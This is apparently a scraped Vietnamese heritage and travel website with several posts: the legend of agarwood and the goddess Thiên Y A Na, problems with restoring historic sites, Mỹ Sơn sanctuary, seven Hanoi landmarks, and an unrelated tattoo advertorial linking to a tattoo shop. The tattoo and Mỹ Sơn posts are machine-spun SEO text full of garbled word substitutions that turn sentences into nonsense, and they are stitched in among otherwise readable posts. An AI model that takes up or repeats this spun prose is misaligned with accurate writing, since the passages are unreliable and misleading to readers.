Di tích

Huyền tích bí ẩn về trầm hương – “sản vật của trời”
“Ăn thiên trả địa”, “ăn của rừng rưng rưng nước mắt” là những ám ảnh kinh hoàng mà bao người trót nghiệp với nghề đi trầm hương luôn khắc dạ ghi tâm.
Xưa nay, trầm hương luôn được xem là thứ sản vật tinh túy của trời. Trầm hương vốn là một loại gỗ rất quý hiếm, người xưa đã có câu “ngậm ngải tìm trầm” để nói lên sự gian khổ khi đi tìm loại gỗ trầm này. Tuy nhiên, không hẳn ai cũng biết huyền tích về thứ sản vật đặc biệt này của tạo hóa.
Huyền tích kỳ lạ
Truyền thuyết kể rằng, nghề đi trầm có gốc gác từ vùng đất thánh Pô Nar Gar dưới chân núi Đại An (Diên Khánh, Khánh Hòa). Nữ thần Thiên Y A Na là tổ sư của nghề với giai thoại về sự xuất thân, hiển linh hết sức linh thiêng và huyền bí.
Cổ sử có chép, vùng đất Khánh Hòa từng là mảnh đất xứ trầm hương của vương quốc Chăm Pa một thời hùng mãnh. Đây là vùng đất phát tích nhiều câu chuyện thần bí về sự tích hiển thân các vị thần. Một trong số đó có nữ thần Thiên Y A Na phù hộ độ trì cho những phu trầm trên con đường hành lộ ngậm ngải tìm trầm hương. Nữ thần có tên là Thiên Y A Na theo tiếng Chăm là Pô Nar Gar, được sinh ra từ bột biển và ánh sáng ở ngoài biển khơi muôn trùng.

Huyen tich bi an ve tram huong -
Chân dung Bà chúa trầm hương Thiên Y A Na
Thuở xưa ở núi Đại An có cặp vợ chồng già nhưng hiếm muộn con ngày ngày trồng dưa ở triền núi. Nhưng mỗi khi dưa chín được trái nào thì lại mất trái đó. Sau một thời gian dài, hai vợ chồng ông bắt hoài nghi và tìm cách bắt tên ăn trộm. Đúng như suy đoán của hai vợ chồng ông lão, tối hôm đó lúc đang canh dưa thì phát hiện một cô bé xinh đẹp đến hái trộm dưa trong vườn. Lúc này ông lão mới chạy đến bắt quả tang. Nhưng vì thấy cô bé còn nhỏ, xinh xắn nhưng lại không có cha mẹ, nên hai vợ chồng già đem về nhà nuôi và xem như con đẻ của mình.
Một hôm bỗng trời mưa to gió lớn, cảnh vật tiêu điều buồn bã, cô gái lấy đá chất thành 3 hòn non bộ giả, rồi lấy hoa lá cắm lên trên đó cho vui. Thấy cô bé chơi trò không hợp với lứa tuổi nên ông lão rầy la. Trong lúc buồn, chợt thấy khúc kỳ nam theo dòng nước trôi đến, cô gái liền hóa thân vào khúc kỳ nam kia để cho sóng dạt ra khơi vào cập vào đất Trung Hoa. Hương thơm từ khúc kỳ nam tỏa ra ngào ngạt khiến cho nhiều người hiếu kì tìm đến xem. Lúc này, người dân địa phương tụm lại để mang khúc kỳ nam quý về nhà, nhưng dù có tập trung đông bao nhiêu cũng không nhấc lên nỗi. Khi hay tin từ người dân báo về cung đình, thái tử Bắc Hải tìm đến để xem thực hư thê nào, thì khúc kỳ nam bỗng nhiên nhẹ tênh trong tay của thái tử.

Huyen tich bi an ve tram huong -
 Chân núi Đại Am là nơi  nữ thần Thiên Y A Na hiện thân.  
Trong một đêm trăng sáng như cảnh thần tiên, thái tử vô tình thấy một người con gái xinh đẹp tuyệt trần hiện ra từ khúc kỳ nam đặt trên giá. Thái tử vội chạy đến ôm chầm lấy, và sau đó xin với đức vua được cưới nàng làm vợ. sau một thời gian chúng sống trong cung điện lộng lẫy, một hôm nàng bỗng nhớ đến cha mẹ nuôi ở xứ Đại An nên đã hóa thân vào khúc kỳ nam để thả trôi trên biển tìm về với quê nhà.
Khi ngang qua vườn dưa cũ, mọi thứ vẫn còn đó nhưng hai vợ chồng ông lão đã qua đời từ lúc nào. Quá đau buồn trước sự ra đi của cha mẹ nuôi, Thiên Y A Na đã nhỏ lệ khóc thương, rồi sau đó xây đắp mộ tử tế cho hai người. Để trả ơn cho mãnh đất đã cưu mang nàng suốt thời gian qua, Thiên Y đã dùng tay hóa phép thành 4 cây trầm hương quý trấn ở 4 hướng đông tây nam bác ở mảnh đất Khánh Hòa, rồi sau đó cỡi hạt bay về trời mất tích.
Hiện nay, dấu tích về 4 cây trầm quý đó đến nay vẫn còn, nhưng được các “linh vật” canh gát cẩn thận nên không người nào có thể nhìn thấy được, nếu có nhìn thấy thì các cây này cũng “tự biến mất một thời gian rồi mới trở về vị trí cũ”. Đó là 1 cây ở Đổng Bò (Thành phố Nha Trang) trấn ở phía Nam; 1 cây ở Hòn Bà (thuộc huyện Ninh Hòa) trấn ở phía Bắc); 1 cây ở Hòn Dữ (huyện Duyên Khánh) và 1 cây ở Suối Ngô (huyện Duyên Khánh) trấn ở phía đông. Những cây trầm này được tương truyền rằng không còn lá, không còn giác, mưa nắng đều không thể làm hư mục được, và được xem như những báu vật của làng.
Dâng thần linh 13 mâm cỗ trước khi lên đường
Không chỉ những phu trầm mà tất cả những người đã bước chân vào nghề “địu” là phải biết đến những tín ngưỡng này. Bởi họ luôn tin rằng dù ở đâu đi chăng nữa thì cây trầm hương cũng là hóa thân của vị nữ thần cao quý Thiên Y A Na nên phải biết cung kính trước Người. Hơn nữa, con đường của những phu trầm thường thăm thẳm hiểm nguy vì phải sống trong những khu rừng âm u một thời gian dài. Những người phu trầm rất thận trọng tránh những sơ xuất mạo phạm đến thần thánh. Bởi họ tin rằng, thế giới tâm linh cũng tồn tại như con người đang sống, và mình tôn trọng họ thì họ mới giúp đỡ mình được.
Dân đi địu ngoài việc chọn bầu trưởng (người dẫn đầu nhóm phu trầm), phải chọn những người hợp tuổi để đi cùng nhóm với nhau. Một nhóm khoảng 7-15 người tùy vào từng đoàn. Bầu địu thường là những người có kinh nghiệm lâu năm trong nghề phu trầm, ngoài ra còn phải biết cách điều hành nhóm và quan trọng nhất lá Bầu địu phải thuộc các nghi lễ cúng kính trước khi vào khai thác trầm, có khi mang theo tượng của Nữ thần Thiên Y A Na. Phu trầm được cử này sẽ phải làm lễ “thỉnh tượng” từ tay các thầy mo có tiếng tăm trong làng về nhà mình. Rồi sau đó sẽ lau chùi sạch sẽ, bỏ vào lồng kính một cách trang nghiêm như thờ cúng tổ tiên.
Dân đi trầm thường tâm niệm rằng các con vật trong rừng đều là hóa thân của thần thánh nên phu trầm rất kiêng gọi tên trực diện mà thường nói trại sang một số tên gọi khác. Ví như khi gọi tên con cọp thì gọi thành “ông Thầy”, rắn thì được gọi là “cô dài”, trăn thì gọi là “Ngựa Bà”, heo thì gọi là “Dủi”…

Huyen tich bi an ve tram huong -
Nghề trầm hương “ăn thiên trả địa”.
Tương tự như thế đối với những loại khác như gạo (Me), muối (Diêm), đi lạc đường (lục xính), bị chảy máu (chảy mắm). Bởi vì sợ Thánh nữ quở phạt nên đa số những phu trầm thường hạn chế ăn thịt, và kiêng kị nhất là đối thịt kì đà (vì sợ xui xẻo) và thịt trăn, rắn (vì đây là vật cửi của Thánh nữ). Sau khi đã đi đến được khu rừng cần tìm kiếm trầm, Bầu địu sẽ tìm một bãi đất trống trãi và sạch sẽ, sau đó bảo những người trong nhóm đặt những vật dụng cúng kính lên trên tấm thảm mỏng trải dưới nền đất. Sau khi đốt nhang xin phép với “thần rừng” thì mọi người bắt đầu dựng trại để nghỉ ngơi qua đêm.
Đến tờ mờ sáng hôm sau thì tất cả đều thức dậy để chuẩn bị làm lễ cúng kính trước khi vào rừng. Điều đáng chú ý đối với những người dân địu là lễ cúng của họ phải đầy đủ 13 mâm và chủ yếu được cúng bằng đồ chay. Mâm cỗ đem đến cúng thường là xôi trắng, cháo trắng, bánh kẹo, nhang đèn và đặt biệt là phải có vài cây nhang làm từ trầm. Sau đó, mọi người lựa chọn những hòn đá vuông vén để đặt những đồ cúng này lên trên và Bầu địu có trách nhiệm sắp xếp giấy bạc để chuẩn bị cúng. Lễ phải chia thành 13 mâm và mâm cúng dành cho “Bà cậu 2” (là tên gọi của dân địu dùng để chỉ thánh mẫu Thiên Y A Na) là lớn nhất, đặt ở giữa và ở vị trí cao nhất so với các mâm còn lại. Sau khi tắm rửa sạch sẽ thay áo quần tươm tất, Bầu trưởng sẽ tiến hành lễ cúng”, phải thuyết phúc mãi ông Quả mới chia sẽ cho chúng tôi điều này.
Nghi lễ này bắt đầu từ trước giải phóng, và những phu trầm thực thụ thì mới biết đến những nghi lễ này. Những phu trầm đời sau cũng thực hiện nghi lễ nhưng với cách thức đơn giản hơn. Nội dung của nghi lễ này là nhằm cầu mong cho Nữ thần trầm hương ban cho phước lành để dân địu may mắn trúng được loại trầm quý. Vì ai cũng biết nữ thần chính là Bà chúa cai quản trầm hương ở mọi cánh rừng, và chỉ có cách dâng lễ để mong bà ban “lộc” cho những phu trầm, cầu ban sự bình an cho mỗi người. Đó cũng chính là tâm thức ngàn đời của những người đi trầm nơi đây vẫn tin, ký thác vào đất mẹ như một sự kỳ vọng cho ngày mai tốt đẹp hơn.
Di tích

TRÙNG TU DI TÍCH LỊCH SỬ NHỮNG VẤN ĐỀ NHỨC NHỐI
Di tích lịch sử – văn hóa là vốn quý của một dân tộc. Giá trị của di tích chỉ tồn tại – sống động khi nó không bị xâm hại hoặc làm biến dạng… Điều này phụ thuộc vào tư duy, trách nhiệm và thái độ ứng xử của con người – xã hội đương đại…
 

Nguồn: zing.vn

Xâm hại di tích – chuyện dài kỳ

Nhiều năm qua, dư luận xã hội cũng như trên các phương tiện thông tin đại chúng đã báo động về nạn lấn chiếm, xâm hại di tích lịch sử – văn hóa đến mức xót lòng, nhức nhối. Là nơi có 2/3 di tích của cả nước, TP Hà Nội đã đầu tư nhiều kinh phí và quỹ đất để giải tỏa xâm phạm di tích nhưng hiện cũng đang là địa phương có nhiều di tích bị xâm hại nhất. Theo thống kê, có 104 di tích tại Hà Nội (cũ) bị lấn chiếm, vi phạm. Đơn cử như: đền thờ Hai Bà Trưng ở phường Đồng Nhân, quận Hai Bà Trưng bị nhiều hộ dân lấn chiếm xây nhà kiên cố, làm cửa hàng buôn bán phụ tùng ô tô; đền Vọng Tiên ở Hàng Bông, quận Hoàn Kiếm bị các hộ dân chiếm dụng làm cửa hàng buôn bán hàng mã; quán Chùa Huyền Thiên – phố Hàng Khoai bị biến thành nơi kinh doanh bát đĩa, chén sứ…

Tại TP Hồ Chí Minh, theo thống kê, số lượng di tích bị lấn chiếm khoảng 1/3, nặng nề nhất là di tích cấp quốc gia Phụng Sơn Tự (chùa Gò) ở quận 11. Theo UBND quận 11, hiện có đến 132 hộ dân đang xây dựng lấn chiếm, cư ngụ bất hợp pháp trên khuôn viên của di tích. Di tích chùa Giác Lâm – ngôi chùa cổ nhất ở TP Hồ Chí Minh cũng đang trong tình cảnh tương tự; hiện nay vẫn tồn tại 4 căn nhà xây cất lấn sâu vào khuôn viên chùa hàng trăm mét vuông…

Điều đáng nói là theo báo cáo của ngành chức năng thì tình trạng lấn chiếm di tích diễn ra ở hầu khắp các địa phương. Theo thống kê chưa đầy đủ, có 228/3.018 di tích xếp hạng quốc gia bị vi phạm, chiếm 7,5% và trong số 5.347 di tích xếp hạng cấp tỉnh, có 69 di tích bị xâm phạm, chiếm gần 1,3%. Xâm hại di tích là “chuyện dài kỳ” –  tồn đọng kéo dài mấy chục năm nay nhưng nhiều nơi chưa có biện pháp giải quyết…

Làm mới di tích – tình trạng phổ biến

Điều 4, điểm 13 Luật Di sản văn hóa quy định: “Phục hồi di tích lịch sử – văn hóa, danh thắng là hoạt động nhằm phục dựng lại di tích lịch sử văn hóa, danh thắng đã bị hủy hoại trên cơ sở các cứ liệu khoa học về di tích lịch sử – văn hóa, danh thắng đó”. Như vậy, việc tu bổ, phục hồi di tích không cho phép đập bỏ để xây mới tùy tiện mà phải trên cơ sở các cứ liệu khoa học, không được làm biến dạng di tích.

Quy định là vậy nhưng tình trạng “làm mới”, “tân trang”, dẫn đến làm biến dạng di tích đang diễn ra khá phổ biến. Mượn danh nghĩa “trùng tu di tích”, nhiều nơi đã phá bỏ di tích cũ và xây lại thành hình hài mới một cách không thương tiếc vết tích cha ông, hồn cốt dân tộc. Mới đây nhất là 3 hạng mục gồm nhà tổ, gác khánh và thềm đá của chùa Trăm Gian bị phá đi xây mới khi chưa được sự đồng ý của các cơ quan chức năng. Đền Mẫu, ở Hưng Yên – một di tích cấp quốc gia quan trọng nằm trong quần thể di tích Phố Hiến, cũng bị tự ý cho xây mới… Hiện nay, đến với di tích Lam Kinh (Thanh Hóa), khu di tích Côn Sơn (Hải Dương), đền Đô (Bắc Ninh)… không ít người sẽ thấy ngỡ ngàng vì sự khác lạ của di tích sau khi được trùng tu, tôn tạo…

Có một thực tế, khi di sản văn hóa được công nhận danh hiệu cấp quốc gia hoặc quốc tế, không ít địa phương vội vàng tính đến chuyện làm du lịch. Khai thác theo kiểu tận thu di sản văn hóa đã gây ra nhiều hệ lụy đối với di sản. Chính do phát triển du lịch chạy theo lợi ích kinh tế thuần túy đã tác động tiêu cực làm hủy hoại môi trường, phá vỡ cảnh quan di tích…

Ứng xử với di tích – câu chuyện ý thức

Đến với nhiều di tích hiện nay, chúng ta không khó để “mục sở thị” những cảnh ứng xử không đẹp mắt. Đặc biệt, cách ứng xử đó lại diễn ra đối với một bộ phận là các sinh viên, học sinh, nghệ sĩ. Đáng buồn hơn là họ thản nhiên coi đây như những niềm vui, chiến tích để khoe hình ảnh trên blog, facebook của cá nhân hoặc trên các trang mạng xã hội mà chẳng hề coi đây là những hành động vi phạm pháp luật. Gần đây nhất, hình ảnh thật phản cảm của một danh hài trẻ đu người lên tượng đài chụp ảnh…

Đến bất cứ di tích nào, hầu như ở đâu ta cũng thấy, cũng bắt gặp những bức phù điêu, bia, tượng, cây cổ thụ… bị ký tên, khắc chữ. Người viết bài này cũng thấy thật xót xa khi thấy hệ thống tường bao xung quanh dãy “Chuồng cọp” trong cụm Di tích Nhà tù Côn Đảo là hạng mục nằm trong nhóm phải bảo vệ nghiêm ngặt, xuất hiện chi chít các vết vẽ, viết, chữ ký… bằng than, mực, sơn, phấn dày đặc…

Vài năm trở lại đây, cứ vào mùa thi, Văn Miếu – Quốc Tử Giám đông nghẹt vì học sinh, sinh viên đến cầu may. Xét ở một khía cạnh nào đó, đây là một thái độ thể hiện sự trân trọng với tiền nhân. Tuy nhiên, thái độ ứng xử đó đã bị những hành vi phản cảm làm lu mờ… Vì muốn “cầu may” nên nhiều người chen lấn để xoa bằng được đầu cụ rùa; thậm chí có người còn ngồi, hoặc đứng lên cụ rùa để chụp ảnh.

Rõ ràng với cách ứng xử của không ít người, đặc biệt là lớp trẻ đối với di tích không thể không lo ngại về ý thức văn hóa đang xuống cấp trầm trọng. Thực tế đó cũng cho thấy, giáo dục ý thức ứng xử đối với di sản – di tích cần được quan tâm nhiều hơn nữa. Cùng với đó cần xử lý mạnh tay để răn đe những hành vi ứng xử thiếu tôn trọng với di tích lịch sử, văn hóa.

Thay cho lời kết

Hồ Gươm nhỏ bé như muôn vàn hồ, ao nơi thôn quê dùng để thả cá, thả sen. Nhưng, Hồ Gươm khác với vô vàn những cái hồ, ao khác không chỉ là con mắt của Thủ đô mà còn mang trong lòng nó một huyền thoại đẹp đẽ về Vua Lê trả kiếm cho rùa vàng. Hồ Gươm tồn tại cùng dòng chảy của thời gian và đồng hành lịch sử, là điểm hội tụ của những dòng người trong những ngày lễ trọng và là biểu tượng trong nỗi nhớ của mỗi người Việt xa cách Thủ đô. Hồ Gươm là di tích – di sản văn hóa sống động và linh thiêng giữa lòng Hà Nội ngàn năm văn hiến…

Nói như vậy để thấy rằng, giá trị và sức sống của di tích lịch sử – văn hóa không phụ thuộc vào cấp độ, tính chất, quy mô của di tích mà trông cậy vào sự kết tinh của các giá trị và cách ứng xử văn hoá phù hợp. Di tích luôn chứa giá trị khi nó tồn tại nhưng sự tồn tại – sống động của di tích phụ thuộc vào tư duy, trách nhiệm và thái độ ứng xử của con người – xã hội đương đại.

Di tích, Khám phá, Tin du lịch

Định Nghĩa Về Tattoo Mà Mọi Người Nên Biết

Tattoo có nghĩa là hình xăm, đây chủ yếu là nghệ thuật xăm hình đc những nghệ nhân phát minh từ mực xăm đặc biệt, hoặc hình dán, xuất hiện khả năng điều chỉnh sắc tố da. thời điểm tồn tại trên da còn tùy thuộc vào 3 một số loại hình Tattoo sau:

Kết quả hình ảnh cho tatoo

1. Xăm phun Tattoo (tồn ở vĩnh viễn): là cách một vài nghệ nhân dùng thiết bị phun xăm bằng mực, xăm lên trên da, để tạo ra khá nhiều mẫu hình xăm cùng Màu sắc có một không hai cũng như thật. nhưng mà ở quá trình xăm tất cả chúng ta nên chịu âu sầu rất nhiều, với mức chi phí cũng tương đối đắt.

2. Vẽ Henna Tattoo (lưu giữ gìn trên da từ 1 đến 3 tuần). Do thâu tóm được tâm lý của khá nhiều quý khách trẻ thích xăm hình nghệ thuật nhưng mà ngại gian khổ, cần một số kỹ thuật vẽ Tattoo nở rộ. Bắt nguồn từ cổ xưa xăm hình tại Ấn Độ. dần dần trở thành mốt tại trẻ tuổi hiện thời bởi sự đa dạng trong mẫu vẽ tương tự như giá cả rất nên chăng chỉ với 50.000 đến 100.000 đồng là bạn rất có thể sở hữu ngay một hình xăm cho bản thân. xăng vẽ hình xăm henna Tattoo cũng tương đối dễ dàng kiếm lại tương đối bình an, dễ dàng thích ứng cùng da. Chỉ phải vẽ, đợi khô, là một số quý khách sẽ thấy ngay “hình xăm” ưng ý.

tattoo la gi

3. Tattoo sticker (tồn trong vài ngày trên da): là các một số loại dán hình xăm Tattoo, là các hình có sẵn trên một số miếng dán. bạn chỉ cần dính vào, để một lúc, kế tiếp bóc ra là đã thấy 1 hình xăm suôn sẻ muốn. bạn sẽ không cần chịu ngồi hàng giờ cực khổ mà vẫn rất có thể xuất hiện đc hình xăm. Miếng dán này thấy dáng vẻ như thật, rất sinh động và cuốn hút về Màu sắc.

Ex: David Hale is a famous tattoo artist on The Word.

(David Hale được coi là một nghệ nhân xăm hình đình đám trên thế giới).

Ex: Why are the tattoos so appealing to some youths?

(Tại sao hình xâm lại thu hút những người trẻ đến thế?)

Ex: My husband has a big tiger tattoo in his back.

(Chồng cháu xuất hiện một hình xăm con hổ lớn sau lưng anh ấy).

Xem thêm các bài viết khác tại:

xăm hình Đà Nẵng bor tattoo

https://longbortattoo.com/hinh-xam-dep-sau-lung/

Di tích

Vẻ đẹp của Thánh Địa Mỹ Sơn đầy huyền bí

Tìm hiểu nét đẹp qua chuyến tham quan thánh địa Mỹ Sơn TP. Đà Nẵng là 1 hành trình hấp dẫn, được nhiều khách du lịch yêu thích. Với vẻ đẹp cổ kính đầy bí hiểm, thánh địa Mỹ Sơn mỗi năm đón nhận hàng trăm ngàn lượt các bạn trong & ngoài nước đến tham quan. Thánh địa Mỹ Sơn là 1 Khu di tích lịch sử đền tháp cổ, khi đến đây được UNESCO xác nhận là di sản văn hóa thế giới vào khoảng thời gian 1999. Nếu đang xuất hiện ý định du lịch khu đền tháp Mỹ Sơn khi tới Đà Nẵng, du khách hãy theo dõi nội dung bài viết dưới đây để có thêm cho bản thân những Thông tin chuyến tham quan cần thiết nhất.

Kết quả hình ảnh cho thánh địa mỹ sơn

Vị trí của thánh địa Mỹ Sơn

Thánh địa Mỹ Sơn nơi trưng bày cách trung tâm TP Đà Nẵng gần 70km về hướng tây Nam. Du khách rất có thể đơn giản thay đổi tới địa danh chuyến du lịch này bằng xe máy hay taxi. Nhà thờ Mỹ Sơn ẩn mình trong 1 thung lũng có đường kính 2km, bao quanh là núi. Tại đây có 1 mạch núi cao khoảng tầm từ 100 – 400m nối từ Đông Trường Sơn qua Mỹ Sơn tới kinh đô Trà Kiệu. Với địa thế núi non cao thượng, đến với thánh địa Mỹ Sơn ngoài các việc được tham quan các công trình xây dựng đền đài thâm nghiêm, du khách còn được tận hưởng không gian trong lành và và đắm ngập trong thiên nhiên xanh mát ở khi đến đây.

Vẻ đẹp kiến trúc của Thánh Địa Mỹ Sơn

Điều khiến khác nước ngoài chu đáo nhất tới nét đẹp nhà thời thánh Mỹ Sơn TP. Đà Nẵng có lẽ rằng là kiến trúc. Theo các tác dụng nghiên cứu và điều tra thì ngôi đền trước tiên ở thánh địa Mỹ Sơn bằng gỗ vào thế kỷ thứ 4. Sau này được kiến thiết lại bằng gạch, với kỹ thuật xây đắp độc đáo & đến nay vẫn là một ẩn số. Nhìn tổng thể về mặt phong cách xây dựng thì những đền tháp, lăng chiêu tập ở thánh địa Mỹ Sơn nơi ta cảm nhận được hội tụ của nhiều mẫu mã không giống nhau. Từ các kiểu cổ xưa, Hòa Lai, Đồng Dương, Mỹ Sơn cho đến Bình Định.

Kết quả hình ảnh cho thánh địa mỹ sơn

Thánh địa Mỹ Sơn gồm nhiều cụm tháp, bố cục mỗi cụm đều có 1 đền thờ chính, bao quanh là những tháp nhỏ dại & dự án công trình phụ. Trong những số đó, đền chính đặc trung cho TT của vạn vật & là nơi thờ phụng thần Siva. Mặt trước của mỗi cụm tháp là một cái cổng, tiếp đây là tiền đình địa danh bố trí lễ vật và múa hát nghi thức hành lễ bản sắc. Đi vào bên phía trong cụm đền tháp, khác nước ngoài sẽ thấy một công trình xây dựng luôn trở lại hướng bắc gọi là Kosa Grha.

Những tháp ở thánh địa Mỹ Sơn đều có hình chóp, theo ý niệm của người Chăm Phường cổ thì đây là biểu tượng của đỉnh núi Meru, địa điểm ở của những vị thần Hindu. Nếu du khách đã từng đến với tham quan Bà Nà Hills Đà Nẵng thì sẽ thấy những món đồ lưu niệm mô phỏng tấm hình những tháp ở thánh địa Mỹ Sơn rất khác biệt được làm bằng đá điêu khắc. Tour du lịch vị trí này, ngoài việc được chiêm ngưỡng nhiều tháp có kiến trúc đẹp, khác nước ngoài còn được thời gian đào bới những vị thần được trang trí bằng nhiều hoa văn tuyệt hảo.

Di tích

Những di tích lịch là không chỉ là địa điểm ghi dấu tích lịch sử của thủ đô trong thời chiến ,và cũng như thời hòa bình , đều là những địa điểm đáng để bạn đến thăm một lần , chiêm ngưỡng di tích đã từng là cột mốc trong lịch sử . Sau đây là 7 di tích lịch sử lên đến thăm 1 lần.

 

1. Chùa Một Cột

Chùa Một Cột tọa lạc ở Phố Chùa Một Cột, Đội Cấn, quận Ba Đình, Hà Nội. Đây là quần thể kiến trúc bao gồm ngôi chùa và tòa đài giữa hồ.

Chùa Một Cột
Chùa Một Cột – quần thể kiến trúc vô cùng độc đáo

Chùa Một Cột còn được biết đến bởi những cái tên như chùa Mật, Liên Hoa Đài hay Diên Hựu Tự với lối kiến trúc đặc biệt thu hút bao du khách ghé thăm và thưởng ngoạn. Được xây dựng vào năm 1049 để tái hiện giấc mơ kỳ lạ của vua Lý Thái Tông, ngôi chùa có hình dáng như một bông sen cách điệu vươn lên giữa hồ.

Chùa Một Cột
Hình ảnh chùa Một Cột năm 1896

Trải qua những năm tháng chiến tranh, chùa đã bị hư hại rất nhiều. Năm 1955, chùa được phục dựng dựa trên kiến trúc cổ vốn có và tồn tại cho đến ngày nay. Ngoài ý nghĩa tâm linh, Chùa Một Cột còn là một di tích lịch sử văn hóa lâu đời của Thủ đô Hà Nội.

Chùa Một Cột
Chùa Một Cột mang trong mình ý nghĩa tâm linh và giá trị văn hóa lịch sử lâu đời

2. Lăng Chủ tịch Hồ Chí Minh

Lăng Chủ tịch Hồ Chí Minh, hay còn gọi là Lăng Hồ Chủ tịch, Lăng Bác – là nơi an nghỉ của vị lãnh tụ vĩ đại của con dân nước Việt. Lăng được khởi công chính thức vào ngày 2/9/1973. Nơi đây chính là vị trí của lễ đài cũ giữa quảng trường Ba Đình – nơi Bác Hồ đã từng đọc bản tuyên ngôn độc lập năm 1945.

Lăng chủ tịch Hồ Chí Minh
Lăng Hồ Chủ Tịch – nơi an nghỉ của vị Cha già của dân tộc

Lịch vào viếng Lăng Chủ tịch Hồ Chí Minh có thể được tổ chức vào các buổi sáng: Thứ Ba, Thứ Tư, Thứ Năm, Thứ Bảy, Chủ Nhật. Thứ Hai và Thứ Sáu Ban Quản lý không không tổ chức lễ viếng. Bạn có thể tham khảo thời gian vào viếng Lăng Bác như sau:

– Vào mùa nóng (từ 1/4 đến 31/10):

  • Thời gian từ 7h30 – 10h30.
  • Thứ Bảy, Chủ Nhật và ngày lễ từ 7h30 – 11h.

– Vào mùa lạnh (từ 1/11 đến 31/3 năm sau):

  • Thời gian từ 8h – 11h.
  • Thứ Bảy, Chủ Nhật và ngày lễ từ 8h – 11h30.

Đặc biệt, nếu ngày 19/5, 2/9 và Mồng 1 Tết Nguyên đán trùng vào Thứ Hai hoặc Thứ Sáu, vẫn tổ chức lễ viếng Chủ tịch Hồ Chí Minh. Khách viếng thăm buộc phải tuân theo những yêu cầu như ăn mặc chỉnh tề, giữ trật tự và không đem các thiết bị điện tử ghi hình khi viếng thăm Lăng Bác.

Lăng chủ tịch Hồ Chí Minh
Dòng người đang viếng thăm Lăng Bác

Gần Lăng Chủ tịch Hồ Chí Minh có một ngôi nhà sàn khiêm tốn, chính là nơi Hồ Chủ tịch từng sống những năm 1960. Căn nhà sàn giản dị, mang dáng vẻ của ngôi nhà nông thôn thuần túy, tại đây có một ao cá chép cùng khu vườn tươi tốt khiến bao người tham quan thổn thức.

Nhà sàn của Hồ Chí Minh
Ngôi nhà sàn Bác Hồ từng sống

3. Nhà tù Hỏa Lò

Nhà tù Hỏa Lò nằm trên phố Hỏa Lò, thuộc quận Hoàn Kiếm, Hà Nội.

Nhà tù Hỏa Lò
Nhà tù Hỏa Lò nhìn từ phía bên ngoài

Được thực dân Pháp xây dựng vào năm 1896 với mục đích giam giữ tù nhân và những tội phạm chính trị. Nhà tù Hỏa Lò có diện tích lên đến 12.000 m², nơi đây chính là một trong những nhà tù lớn và kiên cố nhất Đông Dương thời điểm bấy giờ.

Nhà tù Hỏa Lò
Hỏa Lò – một trong những nhà tù kiên cố bậc nhất Đông Dương

Ghé thăm Hỏa Lò, có thể bạn sẽ cảm thấy “sởn gai ốc” khi không gian bên trong nhà tù được mô phỏng lại bằng những hình ảnh rất thật, tạo cảm giác như đang sống lại những ngày tháng đầy gian truân đó. Để cho ai trong mỗi chúng ta thêm trân quý cuộc sống tự do ở hiện tại.

Nhà tù Hỏa Lò
Một không gian bên trong nhà tù Hỏa Lò được tái hiện rất thật

Theo như bình chọn được công bố bởi CNN, nhà tù Hỏa Lò của Việt Nam đứng vị trí đầu tiên trong top 5 địa điểm ghê rợn nhất ở Đông Nam Á. Nơi đây cũng được biết đến bởi nằm trong danh sách 10 nhà tù khét tiếng nhất trên thế giới.

4. Bảo tàng Dân tộc học Việt Nam

Nếu xét theo định nghĩa về “di tích”, Bảo tàng Dân tộc học Việt Nam tại Hà Nội có thể không được xem là một di tích bởi nơi đây chính là không gian hội tụ và tái hiện những di tích lịch sử văn hóa không chỉ thuộc Hà Nội mà còn ở những vùng đất khác. Đây là điểm đến lý tưởng dành cho những ai mong muốn khám phá những giá trị văn hóa lịch sử đặc sắc của các vùng, miền khác nhau ngay trên đất Hà Thành.

Bảo tàng dân tộc Việt Nam
Bảo tàng Dân tộc học Việt Nam ở Hà Nội

Bảo tàng có 3 khu vực chính: một khu bao gồm nhà trưng bày, văn phòng và cơ sở nghiên cứu, thư viện; một khu trưng bày ngoài trời; khu còn lại là để giới thiệu văn hóa các dân tộc nước ngoài, chủ yêu các dân tộc ở Đông Nam Á.

Nhà rông Tây Nguyên
Nhà rông Tây Nguyên được tái hiện trong khuôn viên của Bảo tàng dân tộc học Việt Nam

5. Văn Miếu – Quốc Tử Giám

Nằm ở số 58 Phố Văn Miếu, Văn Miếu – Quốc Tử Giám chính là trường đại học đầu tiên của Việt Nam. Nơi đây đã từng diễn ra các cuộc thi tuyển chọn người tài để tìm ra những bậc hiền tài góp phần dựng xây đất nước.

Văn Miếu Quốc tử Gíam
Văn Miếu – Quốc Tử Giám là trường đại học đầu tiên của Việt Nam

Không gian bên trong Văn Miếu tương đối rộng, bạn dành một buổi sáng hoặc 2-3 tiếng đồng hồ tham quan là đủ. Ở Văn Miếu cũng có khu vực dạy học. Dọc Văn Miếu, bạn sẽ dễ dàng bắt gặp những tấm bia gắn trên rùa đá ghi danh các học giả, tiến sĩ tài giỏi trong suốt các triều đại phong kiến xưa.

Bia đá Quốc Tử Giám
Những tấm bia trên rùa đá – nơi ghi danh các học giả, tiến sĩ tài giỏi suốt các triều đại xưa

Hằng năm vào Rằm Nguyên Tiêu, nơi đây thường diễn ra Ngày hội Thơ Việt Nam. Vào mùa thi, không khó để thấy các sĩ tử từ khắp nơi đổ về sờ đầu rùa và thắp hương cầu cho thi cử đỗ đạt.

6. Phố cổ Hà Nội

Khám phá lịch sử văn hóa Hà Nội mà bỏ qua khu phố cổ thì quả là một thiếu sót lớn, bởi điểm nhấn của vùng đất kinh kỳ này không thể không kể đến là 36 phố phường. Giữa một Hà Nội đang phát triển từng ngày, vẫn có ở đó những ngôi nhà cổ, những con phố cổ không tuổi, vẫn khoác lên mình dáng vẻ an yên và bình dị vốn có.

Phố cổ Hà Nội
Phố cổ Hà Nội với những ngôi nhà cổ bình dị

Không gian phố cổ với màu vàng chủ đạo, song vì qua thời gian mà len lỏi lên cả những hàng rêu phong, ấy vậy mà nơi đây vẫn tạo cảm giác ấm áp đến lạ, dễ dàng chiếm được trái tim của bất cứ kẻ lãng tử nào.

Phố cổ Hà Nội
Những nẻo đường phố cổ thân thương, gần gũi

7. Hồ Hoàn Kiếm

Hồ Hoàn Kiếm vẫn thường được biết đến với tên gọi Hồ Gươm quen thuộc, gắn liền với nhiều sự tích và giai thoại lịch sử nước nhà. Điều đặc biệt là Hồ Hoàn Kiếm nằm ngay giữa trung tâm thành phố với con đường đi bộ được hàng cây xanh rợp bóng mát. Đến thu, Hồ Gươm lại hòa vào cảnh sắc để tạo nên một bức tranh nên thơ và tình tứ đến lạ.

Hồ Hoàn Kiếm
Bức tranh Hồ Gươm độ vào thu
